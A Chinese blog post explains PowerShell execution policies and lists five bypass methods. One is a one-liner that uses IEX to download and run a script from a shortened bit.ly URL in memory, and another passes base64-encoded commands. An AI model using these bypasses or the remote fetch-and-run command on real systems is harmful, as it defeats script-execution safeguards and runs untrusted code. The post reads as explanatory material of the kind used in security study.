powershell的执行策略和绕过

当执行脚本的时候 你可能会在调用的时候出现报错,这是powershell的安全执行策略,下面我们来了解一下执行策略:PowerShell 提供了 Restricted、AllSigned、RemoteSigned、Unrestricted、Bypass、Undefined 六种类型的执行策略简单介绍各种策略如下:

名称与说明:

  • Restricted 受限制的,可以执行单个的命令,但是不能执行脚本Windows 8, Windows Server 2012, and Windows 8.1中默认就是这种策略,所以是不能执行脚本的,执行就会报错,那么如何才能执行呢?Set-ExecutionPolicy -ExecutionPolicy Bypass就是设置策略为Bypass这样就可以执行脚本了。
  • AllSigned AllSigned 执行策略允许执行所有具有数字签名的脚本
  • RemoteSigned 当执行从网络上下载的脚本时,需要脚本具有数字签名,否则不会运行这个脚本。如果是在本地创建的脚本则可以直接执行,不要求脚本具有数字签名。
  • Unrestricted 这是一种比较宽容的策略,允许运行未签名的脚本。对于从网络上下载的脚本,在运行前会进行安全性提示。需要你确认是否执行脚本
  • Bypass Bypass 执行策略对脚本的执行不设任何的限制,任何脚本都可以执行,并且不会有安全性提示。
  • Undefined Undefined 表示没有设置脚本策略。当然此时会发生继承或应用默认的脚本策略。

默认情况下,它是“Restricted”(限制)的

Get-ExecutionPolicy 获取当前的策略:

在这里插入图片描述
设置为Set-ExecutionPolicy Restricted

接下来讲述的绕过方法:

第一种: 直接复制要运行的代码进去

在这里插入图片描述

特点:不会更改配置或需要写入磁盘。


第二种: 从文件中读取脚本并通过PowerShell的标准输入(Get-Content Powershell命令 或者 type命令)
在这里插入图片描述

在这里插入图片描述
特点:需要写入磁盘


第三种: 从网络上下载脚本并通过IEX执行它

powershell -nop -c "iex(New-Object Net.WebClient).DownloadString('http://bit.ly/1kEgbuH')"

在这里插入图片描述
特点:无需写入磁盘


第四种: 使用EncodeCommand

完整的命令:

powershell交互模式下

$command = "Write-Host 'My voice is my passport, verify me.'" 
$bytes = [System.Text.Encoding]::Unicode.GetBytes($command)
$encodedCommand = [Convert]::ToBase64String($bytes)
powershell.exe -EncodedCommand $encodedCommand

在这里插入图片描述

通过简短的命令使用编码串:

powershell.exe -Enc VwByAGkAdABlAC0ASABvAHMAdAAgACcATQB5ACAAdgBvAGkAYwBlACAAaQBzACAAbQB5ACAAcABhAHMAcwBwAG8AcgB0ACwAIAB2AGUAcgBpAGYAeQAgAG0AZQAuACcA

在这里插入图片描述
在这里插入图片描述


第五种: 使用"Bypass"标记Execution Policy

这个方法简单粗暴

在这里插入图片描述


自己也只是列了几种方法 大家想知道更多的方法可以参照:
https://www.freebuf.com/articles/system/93829.html

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值